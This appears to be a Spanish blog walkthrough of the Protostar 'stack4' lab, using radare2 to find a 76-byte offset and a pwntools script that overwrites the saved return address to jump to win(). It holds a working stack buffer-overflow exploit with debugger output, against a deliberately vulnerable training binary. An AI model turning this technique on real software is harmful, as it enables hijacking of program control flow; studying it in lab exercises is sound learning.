El binario
./stack4
, al igual que ./stack3
, se muestra muy tímido ante nuestra llegada:
dpc@kernelinside:~/protostar/bin$ ./stack4
test
dpc@kernelinside:~/protostar/bin$
radare2 estás ahí?
dpc@kernelinside:~/protostar/bin$ r2 ./stack4
[0x08048340]> aas
[0x08048340]> e asm.bytes=false
[0x08048340]> iz
000 0x000004e0 0x080484e0 30 31 (.rodata) ascii code flow successfully changed
[0x08048340]> afl
0x08048000 23 748 -> 749 segment.LOAD0
0x08048114 19 472 segment.INTERP
0x080482ec 1 12 fcn.080482ec
0x080482fc 1 6 loc.imp.__gmon_start
0x0804830c 1 6 sym.imp.gets
0x0804831c 1 6 sym.imp.__libc_start_main
0x0804832c 1 6 sym.imp.puts
0x08048340 1 33 sym._start
0x08048370 6 85 sym.__do_global_dtors_aux
0x080483d0 4 35 sym.frame_dummy
0x080483f4 1 20 sym.win
0x08048408 1 23 sym.main
0x08048420 1 5 sym.__libc_csu_fini
0x08048430 4 90 sym.__libc_csu_init
0x0804848a 1 4 sym.__i686.get_pc_thunk.bx
0x08048490 4 42 sym.__do_global_ctors_aux
0x080484bc 1 28 sym._fini
0x080484d8 6 44 obj._fp_hw
¿Acaso es este reto una copia de
./stack3
? En todo caso ya no hay strings que hablen acerca de function pointers o algo por el estilo. Vamos a comprobarlo:
[0x08048340]> s main
[0x08048408]> pdf
| ;-- main:
/ (fcn) sym.main 23
| sym.main ();
| ; var int local_10h @ esp+0x10
| ; DATA XREF from sym._start (0x8048357)
| 0x08048408 push ebp
| 0x08048409 mov ebp, esp
| 0x0804840b and esp, 0xfffffff0
| 0x0804840e sub esp, 0x50 ; 'P'
| 0x08048411 lea eax, [local_10h] ; 0x10 ; 16
| 0x08048415 mov dword [esp], eax
| 0x08048418 call sym.imp.gets ; char *gets(char *s)
| 0x0804841d leave
\ 0x0804841e ret
Y eso es todo!
Ahora debemos calcular el offset hasta la dirección de retorno. Para ello aprovecharemos los comandos
gets()
recibe datos sin control que van a parar al buffer en local_10h
. Entonces, ¿cómo redirigimos el flujo de control hacia win()
? Como ya habrás adivinado, no hay más que sobreescribir la dirección de retorno guardada por la función que llamó main()
que en este caso fué _start()
.
Ahora debemos calcular el offset hasta la dirección de retorno. Para ello aprovecharemos los comandos
wopD
y wopO
de radare2, que nos facilitan la creación de patrones de longitud arbitraria tal y como en su día hacíamos con pattern_create
y pattern_offset
de la suite metasploit. Estos son los pasos a seguir:
./stack4
en modo debug2. Pondremos un breakpoint
db
justo después de la llamada a gets()
3. Continuamos la ejecución
dc
, metemos un string de prueba y el programa se detendrá4. Escribimos en el buffer un patrón con el algoritmo De Bruijn Pattern
wopD
5. Continuamos la ejecución
dc
y se producirá una violación de segumento con el registro EIP
apuntando a un valor contenido dentro del patrón6. Finalmente averiguamos el offset de este valor mediante
wopO
Tal que así:
[0x08048408]> ood
Process with PID 4719 started...
File dbg:///home/dpc/protostar/bin/stack4 reopened in read-write mode
= attach 4719 4719
4719
[0xf7fd6c70]> db 0x0804841d
[0xf7fd6c70]> dc
test
hit breakpoint at: 804841d
[0x0804841d]> wopD 128 @ esp+0x10
[0x0804841d]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41614141 code=1 ret=0
[0x41614141]> wopO eip
76
Ya podemos codificar el exploit para la ocasión:
from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack4"
padding = "A"*76
win_addr = 0x080483f4
def exploit():
payload = padding + p32(win_addr)
p = process(context.binary.path)
p.sendline(payload)
print(p.recv())
if __name__ == "__main__":
exploit()
Y colorín colorado...
dpc@kernelinside:~/protostar/bin$ python exp_stack4.py
[*] '/home/dpc/protostar/bin/stack4'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack4': pid 1942
code flow successfully changed
[*] Stopped process '/home/dpc/protostar/bin/stack4' (pid 1942)
Pwned!
No hay comentarios:
Publicar un comentario